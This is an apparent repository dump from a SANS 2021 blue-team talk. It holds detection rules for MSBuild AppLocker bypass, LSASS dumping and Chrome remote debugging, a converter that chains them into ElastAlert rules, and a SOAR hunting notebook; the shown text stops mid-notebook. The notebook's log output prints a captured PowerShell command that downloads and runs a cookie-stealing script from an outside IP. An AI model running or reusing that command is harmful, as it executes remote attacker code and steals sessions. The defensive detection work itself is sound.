├── README.md ├── chaining ├── cabs │ ├── cab.yml │ ├── detection1.yml │ └── detection2.yml └── str-cab2elastalert │ ├── CAB2ElastAlert │ ├── README.md │ └── cab2elastalert │ │ ├── __init__.py │ │ ├── __main__.py │ │ └── elastalert.py │ └── elastalert_modules │ ├── __init__.py │ └── correlation_field.py ├── eradication ├── DEMO6.yml └── STR SOAR Demo.ipynb ├── omega ├── examples │ ├── CertutilObfuscation.ipynb │ ├── PSObfuscation.ipynb │ ├── Tony.ipynb │ ├── demo-auto-drc.ipynb │ ├── detection1.yml │ ├── detection4.yml │ ├── drc-EDR-SYM120-RUN.yml │ ├── drc-app-registration.yml │ ├── drc-hunt-rundll32-dllregisterserver.yml │ └── drc_snippets_tempate.yml └── vizr-extension │ ├── .eslintignore │ ├── .eslintrc.js │ ├── .gitignore │ ├── .prettierignore │ ├── .prettierrc │ ├── :select-last-run-cell │ ├── DRC-05.ipynb │ ├── LICENSE │ ├── MANIFEST.in │ ├── README.md │ ├── Untitled.ipynb │ ├── install.json │ ├── package-lock.json │ ├── package.json │ ├── pyproject.toml │ ├── setup.py │ ├── src │ └── index.ts │ ├── style │ ├── base.css │ ├── index.css │ └── index.js │ ├── tsconfig.json │ └── vizr-extension │ ├── __init__.py │ └── _version.py └── yaml └── validation ├── rare_behavior_schema.yml ├── rare_schema.yml └── spike_schema.yml /README.md: -------------------------------------------------------------------------------- 1 | # SANS 2021 - Blue-Team-as-Code Presentation - Omega/Examples [Further code/details sharing in progress] 2 | -------------------------------------------------------------------------------- /chaining/cabs/cab.yml: -------------------------------------------------------------------------------- 1 | # omega - compound/second order attack behavior detection by Securonix 2 | title: Potential Attack Sequence - MSBuild LSASS Dump Modality 3 | tldr: Potential Attack Sequence - MSBuild LSASS Dump Modality 4 | action: threatmodel 5 | uuid: CAB 6 | stages: 7 | - omName: 'stage1' 8 | policy_uuid: detection-1 #Possible Applocker Bypass using MSBuild 9 | mandatory: true 10 | operation: 'ONEOF' 11 | sequential: false 12 | stageTimeUnit: seconds 13 | stagetimediff: 0 14 | - omName: 'stage2' 15 | policy_uuid: detection-2 #Potential LSASS Memory Dump 16 | mandatory: true 17 | operation: 'ONEOF' 18 | sequential: false 19 | stageTimeUnit: seconds 20 | stagetimediff: 30 21 | 22 | criticality: High 23 | violator: Activityaccount 24 | threatIdBasedModel: false 25 | weight: 0.0 26 | weightType: STATIC 27 | 28 | category: ALERT 29 | categoryid: 1 -------------------------------------------------------------------------------- /chaining/cabs/detection1.yml: -------------------------------------------------------------------------------- 1 | title: Possible Applocker Bypass using MSBuild 2 | tldr: Detects execution of msbuild.exe that can be used to bypass Applocker whitelisting 3 | id: detection-1 4 | omega_securonix_ueba: 5 | snpr_policy: 6 | violator: ActivityAccount 7 | category: ALERT 8 | threatname: User Execution 9 | functionality: Endpoint Management Systems 10 | 11 | logsource: 12 | category: process_creation 13 | product: windows 14 | 15 | detection: 16 | selection: 17 | Image|endswith: msbuild.exe 18 | CommandLine|contains: .xml 19 | condition: selection 20 | level: low 21 | -------------------------------------------------------------------------------- /chaining/cabs/detection2.yml: -------------------------------------------------------------------------------- 1 | title: Potential LSASS Memory Dump 2 | id: detection-2 3 | tldr: Detects process access LSASS memory with GrantedAccess that is typical for dumping tools 4 | 5 | logsource: 6 | category: process_access 7 | product: windows 8 | detection: 9 | selection: 10 | TargetImage|endswith: '\lsass.exe' 11 | GrantedAccess: 12 | - '0x40' 13 | - '0x1000' 14 | - '0x1400' 15 | - '0x100000' 16 | - '0x1410' 17 | - '0x1010' 18 | - '0x1438' 19 | - '0x143a' 20 | - '0x1418' 21 | - '0x1f0fff' 22 | - '0x1f1fff' 23 | - '0x1f2fff' 24 | - '0x1f3fff' 25 | condition: selection 26 | level: low 27 | -------------------------------------------------------------------------------- /chaining/str-cab2elastalert/CAB2ElastAlert/README.md: -------------------------------------------------------------------------------- 1 | # CAB2ElastAlert | A STR CAB converter for Securonix CABs# 2 | 3 | This is PoC of CAB to ElastAlert converter. 4 | 5 | ## Use ## 6 | ### Install ### 7 | Prerequisites: 8 | ~~~~ 9 | python3 -m pip install -r requirements.txt 10 | ~~~~ 11 | 12 | ### Run ### 13 | ~~~~ 14 | usage: CAB2ElastAlert [-h] --sigmadir SIGMADIR --a2bdir A2BDIR --mapping MAPPING [--verbose] [--outputdir OUTPUTDIR] [cabs [cabs ...]] 15 | ~~~~ 16 | Example: 17 | ~~~~ 18 | python3 CAB2ElastAlert --sigmadir ~/sigma/ --a2bdir ../input --outputdir ../output --mapping ../../../str-omega/config/mapping.yml ../input/model-CAB-L12.yml 19 | ~~~~ 20 | -------------------------------------------------------------------------------- /chaining/str-cab2elastalert/CAB2ElastAlert/cab2elastalert/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/str-ext-community/blue_team_as_code/9b92ded9ab587620c478ce73362fad4c5404c7b6/chaining/str-cab2elastalert/CAB2ElastAlert/cab2elastalert/__init__.py -------------------------------------------------------------------------------- /chaining/str-cab2elastalert/CAB2ElastAlert/cab2elastalert/__main__.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import sys 3 | import os 4 | import pathlib 5 | import yaml 6 | import argparse 7 | 8 | handler = logging.StreamHandler() 9 | handler.setFormatter( 10 | logging.Formatter( 11 | style="{", 12 | fmt="[{name}] {levelname} - {message}" 13 | ) 14 | ) 15 | 16 | log = logging.getLogger("cab2elastalert") 17 | log.setLevel(logging.INFO) 18 | log.addHandler(handler) 19 | 20 | class Cab2ElastAlertError(Exception): 21 | pass 22 | 23 | def searchByUUID(uuid, a2bdir): 24 | result = None 25 | for r, d, f in os.walk(a2bdir): 26 | for file in f: 27 | if file.endswith(".yml"): 28 | try: 29 | with open(os.path.join(r, file), 'r') as stream: 30 | detection = yaml.safe_load(stream) 31 | if detection.get("uuid") == uuid or detection.get("id") == uuid: 32 | result = os.path.join(r, file) 33 | except Exception as e: 34 | log.debug(e) 35 | raise Cab2ElastAlertError(e) 36 | if result: 37 | return result 38 | return False 39 | 40 | def createCorrelation(cab_obj, stages, outputdir): 41 | tmp = [] 42 | for s in stages: 43 | tmp.append(f"detection_name:\"{s}\"") 44 | stages_query = " OR ".join(tmp) 45 | 46 | 47 | detection = { 48 | "name": cab_obj["title"], 49 | "match_enhancements": ["elastalert_modules.fixmapping.FixMappingEnhancement"], 50 | "type": "cardinality", 51 | "cardinality_field": "match_body.elastalert_correlation_username", 52 | "max_cardinality": len(stages) - 1, 53 | "index": "elastalert_status", 54 | "timeframe": {cab_obj['stages'][-1]["stageTimeUnit"] : cab_obj['stages'][-1]["stagetimediff"] }, 55 | "filter": [ 56 | { 57 | "query": { 58 | "query_string": { 59 | "query": f"(({stages_query}) AND alert_sent:true)" 60 | } 61 | } 62 | } 63 | ], 64 | "alert" : [ 65 | "email" 66 | ], 67 | "email": "demo@elastalert.local" 68 | 69 | } 70 | 71 | with open(pathlib.Path.joinpath(outputdir, cab_obj['uuid'] + ".yml"), 'w') as outfile: 72 | yaml.dump(detection, outfile, default_flow_style=False, width=10000, sort_keys=False) 73 | 74 | def main(): 75 | parser = argparse.ArgumentParser( 76 | description="CAB2ElastAlertconverter", 77 | formatter_class=argparse.ArgumentDefaultsHelpFormatter 78 | ) 79 | 80 | parser.add_argument("--sigmadir", "-s", required=True, help="sigma directory") 81 | parser.add_argument("--a2bdir", "-a", required=True, help="a2b directory") 82 | parser.add_argument("--mapping", "-m", required=True, help="sigma mapping") 83 | parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output") 84 | parser.add_argument("--outputdir", default="./output/", type=str, help="default output directory for elastalert detection") 85 | 86 | parser.add_argument("cabs", nargs="*", help="CAB input file") 87 | 88 | args = parser.parse_args() 89 | if args.verbose: 90 | log.setLevel(logging.DEBUG) 91 | 92 | if len(args.cabs) == 0: 93 | log.info("Nothing to do!") 94 | parser.print_usage() 95 | sys.exit(0) 96 | 97 | if not pathlib.Path(args.mapping).is_file(): 98 | log.info("mapping not found: [%s]" % args.mapping) 99 | sys.exit(0) 100 | 101 | if not pathlib.Path(args.a2bdir).is_dir(): 102 | log.info("a2bdir not found: [%s]" % args.a2bdir) 103 | sys.exit(0) 104 | 105 | if not pathlib.Path(args.sigmadir).is_dir(): 106 | log.info("sigmadir not found: [%s]" % args.sigmadir) 107 | sys.exit(0) 108 | 109 | if not pathlib.Path(args.outputdir).is_dir(): 110 | log.info("outputdir not found: [%s]" % args.outputdir) 111 | sys.exit(0) 112 | 113 | #add sigma dir to path 114 | sys.path.insert(0, args.sigmadir+'tools/') 115 | from elastalert import ElastAlertBackend 116 | 117 | for cab in args.cabs: 118 | if not pathlib.Path(cab).is_file(): 119 | log.info("CAB not found: [%s]" % args.cab) 120 | sys.exit(0) 121 | 122 | cab_file = pathlib.Path(cab) 123 | with open(cab_file, 'r') as stream: 124 | try: 125 | cab_obj = yaml.safe_load(stream) 126 | except yaml.YAMLError as e: 127 | log.debug(e) 128 | raise Cab2ElastAlertError(e) 129 | 130 | stages = [] 131 | for stage in cab_obj['stages']: 132 | a2b_uuid = stage['policy_uuid'] 133 | a2b_file = searchByUUID(a2b_uuid, args.a2bdir) 134 | 135 | if not a2b_file: 136 | log.error("A2B with uuid: %s not found in %s" % (a2b_uuid, args.a2bdir)) 137 | sys.exit(0) 138 | 139 | backend = ElastAlertBackend(args.mapping, outputdir = pathlib.Path(args.outputdir)) 140 | stages.append(backend.convert(a2b_file)) 141 | 142 | createCorrelation(cab_obj, stages, pathlib.Path(args.outputdir)) 143 | 144 | # time = datetime.now().strftime("%Y_%m_%d_%H%M%S") 145 | if __name__ == '__main__': 146 | main() 147 | -------------------------------------------------------------------------------- /chaining/str-cab2elastalert/CAB2ElastAlert/cab2elastalert/elastalert.py: -------------------------------------------------------------------------------- 1 | import yaml 2 | from sigma.config.collection import SigmaConfigurationManager 3 | from sigma.configuration import SigmaConfiguration, SigmaConfigurationChain 4 | from sigma.parser.collection import SigmaCollectionParser 5 | from sigma.backends.elasticsearch import ElastalertBackendQs 6 | import pathlib 7 | 8 | class ElastAlertBackend(ElastalertBackendQs): 9 | def __init__(self, *args, **kwargs): 10 | mapping, = args 11 | self.timestamp_field = kwargs.get("timestamp_field", "etl_processed_time") 12 | self.outputdir = kwargs['outputdir'] 13 | with open(mapping, 'r') as stream: 14 | self.sigmaconfigs = SigmaConfiguration(configyaml=stream) 15 | super().__init__(self.sigmaconfigs, {}) 16 | 17 | def convert(self, a2b_file): 18 | with open(a2b_file, 'r') as stream: 19 | parser = SigmaCollectionParser(stream, self.sigmaconfigs, None) 20 | 21 | with open(a2b_file, 'r') as stream: 22 | a2b_obj = yaml.safe_load(stream) 23 | 24 | if "uuid" in a2b_obj: 25 | a2b_obj['id'] = a2b_obj['uuid'] 26 | 27 | uuid = a2b_obj.get('uuid', a2b_obj.get('id')) 28 | 29 | parser.generate(self) 30 | result = self.finalize() 31 | #upate fields 32 | 33 | result['description'] = a2b_obj['tldr'] 34 | result['timestamp_field'] = self.timestamp_field 35 | result['index'] = "logs-endpoint-winevent-sysmon-*" 36 | result['match_enhancements'] = ["elastalert_modules.correlation_field.CreateCorrelationField"] 37 | 38 | with open(pathlib.Path.joinpath(self.outputdir, uuid + ".yml"), 'w') as outfile: 39 | yaml.dump(result, outfile, default_flow_style=False, width=10000) 40 | return result['name'] 41 | 42 | def finalize(self): 43 | # yaml.dump(detection, default_flow_style=False, width=10000) 44 | for detection_name, detection in self.elastalert_alerts.items(): 45 | return detection -------------------------------------------------------------------------------- /chaining/str-cab2elastalert/elastalert_modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/str-ext-community/blue_team_as_code/9b92ded9ab587620c478ce73362fad4c5404c7b6/chaining/str-cab2elastalert/elastalert_modules/__init__.py -------------------------------------------------------------------------------- /chaining/str-cab2elastalert/elastalert_modules/correlation_field.py: -------------------------------------------------------------------------------- 1 | from elastalert.enhancements import BaseEnhancement 2 | 3 | class CreateCorrelationField(BaseEnhancement): 4 | def process(self, match): 5 | match['elastalert_correlation_username'] = "%s_%s" % (self.rule['name'], match['host_name']) -------------------------------------------------------------------------------- /eradication/DEMO6.yml: -------------------------------------------------------------------------------- 1 | # omega - compound/second order attack behavior detection by Securonix 2 | title: Chrome Started With Remote Debugging Option CommandLine Analytic 3 | uuid: DEMO6 4 | description: Chrome Started With Remote Debugging Option CommandLine Analytic 5 | 6 | omega_securonix_ueba: 7 | snpr_policy: 8 | violator: Activityaccount 9 | category: ALERT 10 | threatname: Suspicious Access Pattern 11 | functionality: Endpoint Management Systems 12 | 13 | logsource: 14 | category: process_creation 15 | product: windows 16 | detection: 17 | selection: 18 | Image|endswith: 19 | - "chrome.exe" 20 | CommandLine|contains: 21 | - "--headless" 22 | - "--user-data-dir" 23 | - "--remote-debugging-port" 24 | filter: 25 | ParentImage|endswith: 26 | - "chrome.exe" 27 | condition: selection and not filter 28 | level: medium 29 | -------------------------------------------------------------------------------- /eradication/STR SOAR Demo.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "source": [ 6 | "

STR SOAR Demo Playbook

\n", 7 | "

Table of Contents

\n", 8 | "
\n", 9 | " \n", 44 | "
" 45 | ], 46 | "metadata": {} 47 | }, 48 | { 49 | "cell_type": "markdown", 50 | "source": [ 51 | "\n", 52 | "## Library initialization" 53 | ], 54 | "metadata": {} 55 | }, 56 | { 57 | "cell_type": "code", 58 | "execution_count": null, 59 | "source": [ 60 | "#!python3 -m pip install -r requirements.txt " 61 | ], 62 | "outputs": [], 63 | "metadata": {} 64 | }, 65 | { 66 | "cell_type": "code", 67 | "execution_count": 1, 68 | "source": [ 69 | "from vizr.STRVizr import STRVizr\n", 70 | "import pandas as pd\n", 71 | "import logging\n", 72 | "from IPython.display import HTML\n", 73 | "logging.basicConfig(level=logging.ERROR)\n", 74 | "\n", 75 | "\n", 76 | "import sys,os\n", 77 | "sys.path += [\n", 78 | " os.path.abspath('../str-omega'),\n", 79 | "]\n", 80 | "from omega.converter import STROmegaConverter\n", 81 | "\n", 82 | "pd.set_option('display.max_colwidth', -1)" 83 | ], 84 | "outputs": [], 85 | "metadata": {} 86 | }, 87 | { 88 | "cell_type": "markdown", 89 | "source": [ 90 | "\n", 91 | "## Create Securonix Client" 92 | ], 93 | "metadata": {} 94 | }, 95 | { 96 | "cell_type": "code", 97 | "execution_count": 2, 98 | "source": [ 99 | "client = STRVizr(host=\"https://****.securonix.net/Snypr\", token=\"****\", verify=False)" 100 | ], 101 | "outputs": [], 102 | "metadata": {} 103 | }, 104 | { 105 | "cell_type": "markdown", 106 | "source": [ 107 | "\n", 108 | "## Initialize SX SOAR microservice connectors" 109 | ], 110 | "metadata": {} 111 | }, 112 | { 113 | "cell_type": "code", 114 | "execution_count": 3, 115 | "source": [ 116 | "from vizr.soar.crowdstrike import Crowdstrike\n", 117 | "from vizr.soar.virustotal import VirusTotal\n", 118 | "\n", 119 | "cs = Crowdstrike({\n", 120 | " \"microservice_url\": \"...redacted\",\n", 121 | " \"client_id\": \"...redacted\",\n", 122 | " \"client_secret\": \"...redacted\"\n", 123 | "})\n", 124 | "\n", 125 | "vt = VirusTotal({\n", 126 | " \"microservice_url\": \"...redacted\",\n", 127 | " \"apikey\": \"...redacted\", \n", 128 | " \"server_url\": \"...redacted\" \n", 129 | "})" 130 | ], 131 | "outputs": [], 132 | "metadata": {} 133 | }, 134 | { 135 | "cell_type": "markdown", 136 | "source": [ 137 | "\n", 138 | "## Convert OMEGA rule located at /STR-UPS/i1-pass-the-cookie/stratum1 with id DEMO4 to spotter query" 139 | ], 140 | "metadata": {} 141 | }, 142 | { 143 | "cell_type": "code", 144 | "execution_count": 4, 145 | "source": [ 146 | "omega = STROmegaConverter(\n", 147 | " omega_rules_home = \"./omega\", \n", 148 | " mapping= \"./omega/mapping.yml\"\n", 149 | ")\n", 150 | "\n", 151 | "spotter_query = omega.convertByUUID(\n", 152 | " uuid = \"DEMO4\"\n", 153 | ")\n", 154 | "print(spotter_query)" 155 | ], 156 | "outputs": [ 157 | { 158 | "output_type": "stream", 159 | "name": "stdout", 160 | "text": [ 161 | "(rg_functionality = \"Endpoint Management Systems\" AND baseeventid = \"1\" AND (destinationprocessname ENDS WITH \"chrome.exe\" AND (resourcecustomfield1 CONTAINS \"--user-data-dir\" OR resourcecustomfield1 CONTAINS \"--remote-debugging-port\")) AND (sourceprocessname NOT ENDS WITH \"chrome.exe\"))\n" 162 | ] 163 | } 164 | ], 165 | "metadata": {} 166 | }, 167 | { 168 | "cell_type": "markdown", 169 | "source": [ 170 | "\n", 171 | "### Set time range for hunting" 172 | ], 173 | "metadata": {} 174 | }, 175 | { 176 | "cell_type": "code", 177 | "execution_count": 5, 178 | "source": [ 179 | "#format %m/%d/%Y %H:%M:%S\n", 180 | "time_from = \"04/05/2021 11:31:00\"\n", 181 | "time_to = \"04/05/2021 23:59:59\"\n", 182 | "timezone = \"EST5EDT\"" 183 | ], 184 | "outputs": [], 185 | "metadata": {} 186 | }, 187 | { 188 | "cell_type": "markdown", 189 | "source": [ 190 | "\n", 191 | "## Hunt with query" 192 | ], 193 | "metadata": {} 194 | }, 195 | { 196 | "cell_type": "code", 197 | "execution_count": 6, 198 | "source": [ 199 | "spotter_query = '''\n", 200 | "baseeventid = \"1\" AND (destinationprocessname ENDS WITH \"chrome.exe\" AND (resourcecustomfield1 CONTAINS \"--user-data-dir\" OR resourcecustomfield1 CONTAINS \"--remote-debugging-port\")) AND sourceprocessname NOT ENDS WITH \"chrome.exe\"\n", 201 | "'''\n", 202 | "\n", 203 | "query = '''\n", 204 | "index=activity and \n", 205 | "%s\n", 206 | "''' % (spotter_query)\n", 207 | "\n", 208 | "df = await client.search(query, time_from=time_from, time_to=time_to, max=100)\n", 209 | "df" 210 | ], 211 | "outputs": [ 212 | { 213 | "output_type": "stream", 214 | "name": "stderr", 215 | "text": [ 216 | "processed: 1 requests: 100%|██████████| 1/1 [00:00<00:00, 1.48it/s]\n" 217 | ] 218 | }, 219 | { 220 | "output_type": "execute_result", 221 | "data": { 222 | "text/html": [ 223 | "
\n", 224 | "\n", 237 | "\n", 238 | " \n", 239 | " \n", 240 | " \n", 241 | " \n", 242 | " \n", 243 | " \n", 244 | " \n", 245 | " \n", 246 | " \n", 247 | " \n", 248 | " \n", 249 | " \n", 250 | " \n", 251 | " \n", 252 | " \n", 253 | " \n", 254 | " \n", 255 | " \n", 256 | " \n", 257 | " \n", 258 | " \n", 259 | " \n", 260 | " \n", 261 | " \n", 262 | " \n", 263 | " \n", 264 | " \n", 265 | " \n", 266 | " \n", 267 | " \n", 268 | " \n", 269 | " \n", 270 | " \n", 271 | " \n", 272 | " \n", 273 | " \n", 274 | " \n", 275 | " \n", 276 | " \n", 277 | " \n", 278 | " \n", 279 | " \n", 280 | " \n", 281 | " \n", 282 | " \n", 283 | " \n", 284 | " \n", 285 | " \n", 286 | " \n", 287 | " \n", 288 | " \n", 289 | " \n", 290 | "
_indexed_at_tdt_version_accountnameaccountresourcekeyagentfilenamebaseeventidcategorizedtimecategoryseveritycollectionmethodcollectiontimestamp...timelinetimeline_by_hourtimeline_by_minutetimeline_by_monthtimeline_by_weektransactionstring1transactionstring2useridweekyear
0Mon Apr 05 16:38:00 UTC 20211696219194292436992DEMO-SYSMONDEMO-SYSMON~demo-sysmon~demo-sysmon~1~-11_dest20210405161Evening0file1617640590014...16175988000001617638400000161764050000016172532000001617512400000Process Monitoring SystemMicrosoft-Windows-Sysmon-1152021
\n", 291 | "

1 rows × 71 columns

\n", 292 | "
" 293 | ], 294 | "text/plain": [ 295 | " _indexed_at_tdt _version_ accountname \\\n", 296 | "0 Mon Apr 05 16:38:00 UTC 2021 1696219194292436992 DEMO-SYSMON \n", 297 | "\n", 298 | " accountresourcekey agentfilename baseeventid \\\n", 299 | "0 DEMO-SYSMON~demo-sysmon~demo-sysmon~1~-1 1_dest2021040516 1 \n", 300 | "\n", 301 | " categorizedtime categoryseverity collectionmethod collectiontimestamp ... \\\n", 302 | "0 Evening 0 file 1617640590014 ... \n", 303 | "\n", 304 | " timeline timeline_by_hour timeline_by_minute timeline_by_month \\\n", 305 | "0 1617598800000 1617638400000 1617640500000 1617253200000 \n", 306 | "\n", 307 | " timeline_by_week transactionstring1 transactionstring2 \\\n", 308 | "0 1617512400000 Process Monitoring System Microsoft-Windows-Sysmon \n", 309 | "\n", 310 | " userid week year \n", 311 | "0 -1 15 2021 \n", 312 | "\n", 313 | "[1 rows x 71 columns]" 314 | ] 315 | }, 316 | "metadata": {}, 317 | "execution_count": 6 318 | } 319 | ], 320 | "metadata": {} 321 | }, 322 | { 323 | "cell_type": "code", 324 | "execution_count": 7, 325 | "source": [ 326 | "df.iloc[0]" 327 | ], 328 | "outputs": [ 329 | { 330 | "output_type": "execute_result", 331 | "data": { 332 | "text/plain": [ 333 | "_indexed_at_tdt Mon Apr 05 16:38:00 UTC 2021 \n", 334 | "_version_ 1696219194292436992 \n", 335 | "accountname DEMO-SYSMON \n", 336 | "accountresourcekey DEMO-SYSMON~demo-sysmon~demo-sysmon~1~-1 \n", 337 | "agentfilename 1_dest2021040516 \n", 338 | "baseeventid 1 \n", 339 | "categorizedtime Evening \n", 340 | "categoryseverity 0 \n", 341 | "collectionmethod file \n", 342 | "collectiontimestamp 1617640590014 \n", 343 | "customfield2 1617640590035 \n", 344 | "customfield3 1_dest2021040516 \n", 345 | "customstring1 Medium \n", 346 | "datetime 1617640577000 \n", 347 | "dayofmonth 5 \n", 348 | "dayofweek 2 \n", 349 | "dayofyear 95 \n", 350 | "destinationprocessname chrome.exe \n", 351 | "deviceaction ProcessCreate \n", 352 | "devicecustomstring3 Google LLC \n", 353 | "devicecustomstring4 0xCF86C \n", 354 | "devicecustomstring5 89.0.4389.114 \n", 355 | "devicecustomstring6 a3611358-3c10-606b-6cf8-0c0000000000 \n", 356 | "deviceexternalid a3611358-3c81-606b-e900-000000001000 \n", 357 | "deviceprocessid 4104 \n", 358 | "deviceseverity Information \n", 359 | "eventid 16e6667e-9b75-43e2-9cf8-5618a953f7f6 \n", 360 | "filehash 0C6A37537BE50D03C4C7D7FB1D64E881A2C363185712A1C0E1E2C86F2FAF3F19 \n", 361 | "filepath C:\\Program Files\\Google\\Chrome\\Application\\ \n", 362 | "flowsiemid a3611358-3c7c-606b-e800-000000001000 \n", 363 | " ... \n", 364 | "receivedtime 1617640620679 \n", 365 | "resourcecustomfield1 \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" https://google.com --user-data-dir=\"C:\\Users\\str\\AppData\\Local\\Google\\Chrome\\User Data\" --remote-debugging-port=9142 \n", 366 | "resourcecustomfield2 p.exe Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('http://143.198.121.254/ArWsFIfR/cookie.ps1'))\n", 367 | "resourcecustomfield3 Google Chrome \n", 368 | "resourcecustomfield4 Google Chrome \n", 369 | "resourcecustomfield7 C:\\temp\\p.exe \n", 370 | "resourcecustomfield8 C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe \n", 371 | "resourcegroupid 1 \n", 372 | "resourcegroupname demo-sysmon \n", 373 | "resourcename demo-sysmon \n", 374 | "rg_functionality DemoFunc \n", 375 | "rg_resourcetypeid 4 \n", 376 | "rg_timezoneoffset UTC \n", 377 | "rg_vendor DemoVendor \n", 378 | "sourcehostname win10-laptop004 \n", 379 | "sourceprocessid 1196 \n", 380 | "sourceprocessname p.exe \n", 381 | "sourceusername WIN10-LAPTOP004\\str \n", 382 | "tenantid 1 \n", 383 | "tenantname a1t1str1 \n", 384 | "timeline 1617598800000 \n", 385 | "timeline_by_hour 1617638400000 \n", 386 | "timeline_by_minute 1617640500000 \n", 387 | "timeline_by_month 1617253200000 \n", 388 | "timeline_by_week 1617512400000 \n", 389 | "transactionstring1 Process Monitoring System \n", 390 | "transactionstring2 Microsoft-Windows-Sysmon \n", 391 | "userid -1 \n", 392 | "week 15 \n", 393 | "year 2021 \n", 394 | "Name: 0, Length: 71, dtype: object" 395 | ] 396 | }, 397 | "metadata": {}, 398 | "execution_count": 7 399 | } 400 | ], 401 | "metadata": {} 402 | }, 403 | { 404 | "cell_type": "markdown", 405 | "source": [ 406 | "## Who spawn chrome with debugger port?" 407 | ], 408 | "metadata": {} 409 | }, 410 | { 411 | "cell_type": "code", 412 | "execution_count": 8, 413 | "source": [ 414 | "print(\"Parent Image: %s\" % df.iloc[0][\"resourcecustomfield7\"])\n", 415 | "print(\"Parent ID: %s\" % df.iloc[0][\"sourceprocessid\"])" 416 | ], 417 | "outputs": [ 418 | { 419 | "output_type": "stream", 420 | "name": "stdout", 421 | "text": [ 422 | "Parent Image: C:\\temp\\p.exe\n", 423 | "Parent ID: 1196\n" 424 | ] 425 | } 426 | ], 427 | "metadata": {} 428 | }, 429 | { 430 | "cell_type": "markdown", 431 | "source": [ 432 | "## Parent CommandLine is:" 433 | ], 434 | "metadata": {} 435 | }, 436 | { 437 | "cell_type": "code", 438 | "execution_count": 9, 439 | "source": [ 440 | "print(\"Parent CommandLine: %s\" % df.iloc[0][\"resourcecustomfield2\"])" 441 | ], 442 | "outputs": [ 443 | { 444 | "output_type": "stream", 445 | "name": "stdout", 446 | "text": [ 447 | "Parent CommandLine: p.exe Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('http://143.198.121.254/ArWsFIfR/cookie.ps1'))\n" 448 | ] 449 | } 450 | ], 451 | "metadata": {} 452 | }, 453 | { 454 | "cell_type": "markdown", 455 | "source": [ 456 | "## Device is:" 457 | ], 458 | "metadata": {} 459 | }, 460 | { 461 | "cell_type": "code", 462 | "execution_count": 10, 463 | "source": [ 464 | "device = df.iloc[0][\"sourceusername\"].split(\"\\\\\")[0]\n", 465 | "print(\"device: %s\" % device)\n" 466 | ], 467 | "outputs": [ 468 | { 469 | "output_type": "stream", 470 | "name": "stdout", 471 | "text": [ 472 | "device: WIN10-LAPTOP004\n" 473 | ] 474 | } 475 | ], 476 | "metadata": {} 477 | }, 478 | { 479 | "cell_type": "markdown", 480 | "source": [ 481 | "## Logon session is:" 482 | ], 483 | "metadata": {} 484 | }, 485 | { 486 | "cell_type": "code", 487 | "execution_count": 11, 488 | "source": [ 489 | "logon_session = df.iloc[0][\"devicecustomstring4\"]\n", 490 | "print(\"Logon session: %s\" % logon_session)" 491 | ], 492 | "outputs": [ 493 | { 494 | "output_type": "stream", 495 | "name": "stdout", 496 | "text": [ 497 | "Logon session: 0xCF86C\n" 498 | ] 499 | } 500 | ], 501 | "metadata": {} 502 | }, 503 | { 504 | "cell_type": "markdown", 505 | "source": [ 506 | "\n", 507 | "## Build Process Tree Graph For sessionid's " 508 | ], 509 | "metadata": {} 510 | }, 511 | { 512 | "cell_type": "code", 513 | "execution_count": 12, 514 | "source": [ 515 | "from pyvis import network as net\n", 516 | "import networkx as nx\n", 517 | "\n", 518 | "query = '''\n", 519 | "index=activity and \n", 520 | "baseventid=1 AND devicecustomstring4=%s\n", 521 | "''' % (logon_session)\n", 522 | "\n", 523 | "# print(query)\n", 524 | "# \n", 525 | "process_tree_nodes = await client.search(query, time_from=time_from, time_to=time_to, max=100)\n", 526 | "process_tree_nodes['UNIXTIME'] = pd.to_datetime(process_tree_nodes['datetime'], unit='ms')\\\n", 527 | " .dt.tz_localize('UTC' )\\\n", 528 | " .dt.tz_convert(timezone)\n", 529 | "\n", 530 | " \n", 531 | "G=nx.DiGraph()\n", 532 | "\n", 533 | "def create_graph(row):\n", 534 | " #parent meta\n", 535 | " parent_meta = \"\\\n", 536 | " Date: {}
\\\n", 537 | " LogonID: {} {}
\\\n", 538 | " Path: {}{}
\\\n", 539 | " PID: {}
\\\n", 540 | " CommandLine: {}
\\\n", 541 | " Child: {}
\\\n", 542 | " GUID: {}
\\\n", 543 | " Parent GUID: {}\\\n", 544 | " \".format(\n", 545 | " row['UNIXTIME'],\n", 546 | " row['sourceusername'], \n", 547 | " row['devicecustomstring4'], \n", 548 | " #row['destinationusername'],\n", 549 | " row['oldfilepath'],\n", 550 | " row['sourceprocessname'],\n", 551 | " row['sourceprocessid'],\n", 552 | " row['resourcecustomfield2'],\n", 553 | " row['destinationprocessname'],\n", 554 | " row['deviceexternalid'], #guid\n", 555 | " row['flowsiemid'], #parent guid \n", 556 | " )\n", 557 | " G.add_node(row['flowsiemid'], color='#30a1a5',size=20, title=parent_meta, label=row['sourceprocessname'],)\n", 558 | " \n", 559 | " #process meta\n", 560 | " process_meta = \"\\\n", 561 | " Date: {}
\\\n", 562 | " LogonID: {} {}
\\\n", 563 | " Path: {}{}
\\\n", 564 | " PID: {}
\\\n", 565 | " CommandLine: {}
\\\n", 566 | " Parent:{}
\\\n", 567 | " GUID: {}
